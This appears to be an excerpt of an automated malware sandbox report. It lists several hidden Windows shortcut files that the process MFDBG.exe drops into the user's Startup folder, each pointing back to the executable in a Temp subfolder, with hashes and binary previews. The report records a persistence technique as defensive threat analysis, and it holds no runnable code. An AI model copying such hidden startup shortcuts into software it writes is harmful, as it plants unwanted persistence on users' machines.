File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924254897294498
Encrypted:	false
SSDEEP:	24:8ABfbl8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8O+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	14C19A81B3DFA24E79379657508006D2
SHA1:	582D7A89A03516804BF704E2143AC9AB832E8632
SHA-256:	DAB75A16880899DD6F813B796DFB228F71BCCBFC1DCAF7D6EE80B91AAEDC197D
SHA-512:	85548F22AFFA87A788C7FCBA427143C4BA31C1B65D0653DF66C70A615A884334D8A8A8FCCE839C3381105FDDDBFE12605B120C3B1C07E0D73F196B6C7A5FA7E0
Malicious:	false
Preview:	L..................F....".......d...sM.;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_60e052ecdb7c4773b1227a0a98bff165.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254248
Encrypted:	false
SSDEEP:	24:8wBfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+IEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E68A01C3439D264DA3F403DF85A81D84
SHA1:	8B6AF84325D1C0C49758ED9CD2178A8DA4028725
SHA-256:	09866EDDEEE0A625664AEDC23B12DBCA1F2F437D09D8A7F4224A16F02DC179DF
SHA-512:	0F9B9C0DB1F8C1EDB90D0B03F793957F14513E2962348432E51F8C489B601A80CF33EE531D44C719CC420B7D48529B108533E5245A58988474BD130A4423EF65
Malicious:	false
Preview:	L..................F....".......d......{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...]/.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_614952ebd8614c4cb19bbba1edc54b8f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919207919456863
Encrypted:	false
SSDEEP:	24:8aBfff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YXEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	59BCA33603E601AA23F0A2D1A2F2EC3A
SHA1:	7902A70FC6FFD36D4AFB72F81A32DD3F50AD02ED
SHA-256:	B70A69C7F79E2C2B36F448A9E87D3289353530E3D527756D716E2FF63B322541
SHA-512:	85A838ECE39A4F94752B4DAE2FCB2BA94F657B3BDF95B2A28A216239266D52209F1B0E86137C18D3FF39DCF278E09A78BA27818A3C7B20A2C6ABD4294CC58CE9
Malicious:	false
Preview:	L..................F....".......d...]...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....{..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_619adade9fcd4556955b07dab0c1407a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929493886012551
Encrypted:	false
SSDEEP:	24:8vBfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:85aQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4C81500A5A4E123EDA0B8806D4A76360
SHA1:	E313174E4E8E6C0BCB7870579E8DA08AB1823696
SHA-256:	23398A34F4406C5160794005D82F9B539EB05555F9CE1F2B6A8EA527FCF5718F
SHA-512:	EC549465CC54AA504FB24BA64AB32D94A9FDF0E40AF2DDA70896C90001B9B74CDD8173F697BC9452A23DEDE7A24ADBFA2413E16DDC754C8DF197C339807A8D30
Malicious:	false
Preview:	L..................F....".......d......:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_61d647f50a394bc9a885c208aeddfbd9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918796344646846
Encrypted:	false
SSDEEP:	24:8UBfI48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86g9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	0455E4C6A1E2EADDFD97A3AE438D1C69
SHA1:	0139DB1A30C1FD9189B63AD9200431C8FBD0F21D
SHA-256:	17A5B8347521FBBEB36DF1ABE01135D9AFC601DFAAE5EA3C8DA342811F89EE20
SHA-512:	C0D13533286843A7D503625AA2C1CA8F18717464AFFF1E04844CCD1400A0AC4ACAE3BB2903149988079840508F2CDD8D756F093389FB18EC959C41484B0DD9BA
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Eb..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_61f06f1f6851440987a7c6baf885a997.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91838471916942
Encrypted:	false
SSDEEP:	24:8aBfRo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YjEvZ0yRO7DLO2zdxdRd1kyg
MD5:	097BFB5071E23D2CFEE51861AB545FEC
SHA1:	D6361CC362B0DF4797887CF9BC2E6BD4C362BFE2
SHA-256:	47B8CEDE38CFDCEDB4513E6F495F371D7D14CAB398D35148DCC558E5E95E51AF
SHA-512:	AB5FBD2EBEE1A03D3B4BC56062857637D8CE7B85CA23AFE28C6F575E78AB1CD17D4156F4CA965A7019C111DFCF2CDC242A5CA470A12B58372E6A771FD630778D
Malicious:	false
Preview:	L..................F....".......d...{JS:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....$-:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_61fb55bd339e4b75ad8453187fece2e0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922678610687873
Encrypted:	false
SSDEEP:	24:8DBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8FiEvZ0yRO7DLO2zdxdRd1kyg
MD5:	43CB8F3ABC2D7759914765DB41FE4619
SHA1:	AD0B5EF3308FA423C87CDFD0931CFC65345960D7
SHA-256:	020C929507A3E8EB4B3C10CA86E340592587F7C42D460A86D514CF56C5D16738
SHA-512:	7E6055447D458E452B1A7CBDAA744C09CE5F4A458DD7158DDAB79E5E55A2C59B8EB780DCCAEF1CE3C9B120F2EB89F2DF23B1C9AC5E79C8109AA226051F236E94
Malicious:	false
Preview:	L..................F....".......d.....$^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...=\|"^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6218ea0af3fc4ab1b13cec68d9412c59.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92663475605851
Encrypted:	false
SSDEEP:	24:8LBfp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:892EvZ0yRO7DLO2zdxdRd1kyg
MD5:	961F52419725A8264EDE5314A3F27DFF
SHA1:	31DC2BFA9CA90AD4A2A554AED18ACF0C999E845E
SHA-256:	C34F644B8F3D151BD00E797CD53E321EF878C03D2171A5C517E98A2CA8DA104E
SHA-512:	AD10E5300251666D8FA21F79E3ACBF97289FBD085C8BFD332D098E887177AD56BB60DD96C10FFF73905244603208CD7E5F5C62B72643D9B43667835B377D0A7B
Malicious:	false
Preview:	L..................F....".......d...b.%;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...3..;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_62485a558faa489389b600ab509d9769.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917705417403049
Encrypted:	false
SSDEEP:	24:8mc3BfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NRDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A3BEDB1103C0D24B229A1C3DB4602C50
SHA1:	9F4628ED7A219D53387463B19497B41B1653CFD9
SHA-256:	5D3F5FEF6E0201A8DD96B21A912243A7EA7F5474F2D06D4C4849305EB82C8F3A
SHA-512:	FD7E381127F7A2D5E964D15EB3F79026DEB4AD689610AFCDC410877B1ABD9492C1AADA99626E47C121702EA3D05CF35AD51375895E97B2C9045C269E3DB40DDB
Malicious:	false
Preview:	L..................F....".......d....w.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...)..\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6378efeee73e4662b1fe15e111d6943a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934348313329139
Encrypted:	false
SSDEEP:	24:8mBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8sREvZ0yRO7DLO2zdxdRd1kyg
MD5:	6A83A5EC500A07C7DDE3423102713F5D
SHA1:	2B8666E71DA7011C6DC92C83547AFBD53A73EC0A
SHA-256:	27F89484CDA0CFF227274629FD79D18BA34189200138DB28749EB883EC79EE3B
SHA-512:	429322637D7336CADF0D9EA30123F083494BAA251B86AAFB7A9C68E4A785B5AD0ACC2DF75899FEC71FF6C9717D027AD6FE73F076C25977D4F362C827BF44E857
Malicious:	false
Preview:	L..................F....".......d......Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6414d23d6a2f4ba2b0eb1fb22182b7f6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917963145381048
Encrypted:	false
SSDEEP:	24:8zBfx8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81eEvZ0yRO7DLO2zdxdRd1kyg
MD5:	48303A6E969C2AADE60FF376ACC1C79B
SHA1:	D75D1C35A7E1FE49CB29A224CA29692E39C93E2D
SHA-256:	A3B134308EC88A4E73803C2D551AC96B153DEF75051BE965F46607678BA7A7A3
SHA-512:	AF55D2A6C4D4C3AD2FF85DA9468FE11ECCAF7E04C60518916677A9689F2827EF56C138977C83D17C89917C35FAFC3395B071987CBB9D1FA274D7CC05148FA964
Malicious:	false
Preview:	L..................F....".......d.....>9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64334fbfc7d547ea8d7f4ad2357b0cc5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9233829943396685
Encrypted:	false
SSDEEP:	24:8NBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/JEvZ0yRO7DLO2zdxdRd1kyg
MD5:	499863E6485327794DB0B2E4BC4238CA
SHA1:	7E2E143B648E56C227B2634FE114A394A8566A06
SHA-256:	5F92463CE3D6ED6E5A7F2BC28D1AD6C27A06F2D823069D28B0E1174F6C54F532
SHA-512:	470D8EF79F01CBAE4828A66BDA9CE1DA0C3DEC58A619B01009BADBED3A0C2FAB768A52E02193C73F90B52CC4AB66F865AB4002D8C5BCCC45150ED4BB824E4FC6
Malicious:	false
Preview:	L..................F....".......d.....[~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...3bY~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6469fcb49e8b4c56ae439ea8f7f5d986.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:28 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923078814988694
Encrypted:	false
SSDEEP:	24:8EBfR48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qnEvZ0yRO7DLO2zdxdRd1kyg
MD5:	80F1FE1D78FD11C0C0F3BD14CB5A96FF
SHA1:	F69FA36F5AC6AB1AAED0CC1B3D22278B671C0630
SHA-256:	55279F2ADD9013F8DB103D531EE383D0AFCFDBAB9EC64053B43C53178A21EB10
SHA-512:	D58414B2DB4142421CA896169E2C6881DC1C9A61E3E742F01C22F949E570D20B64E509948C3D4AC01BF94CFEB8A3B6BAB904C340321A04408C592DF91934AFB7
Malicious:	false
Preview:	L..................F....".......d....l(Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_64f68ea8e1144493abf1efec2d719ace.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
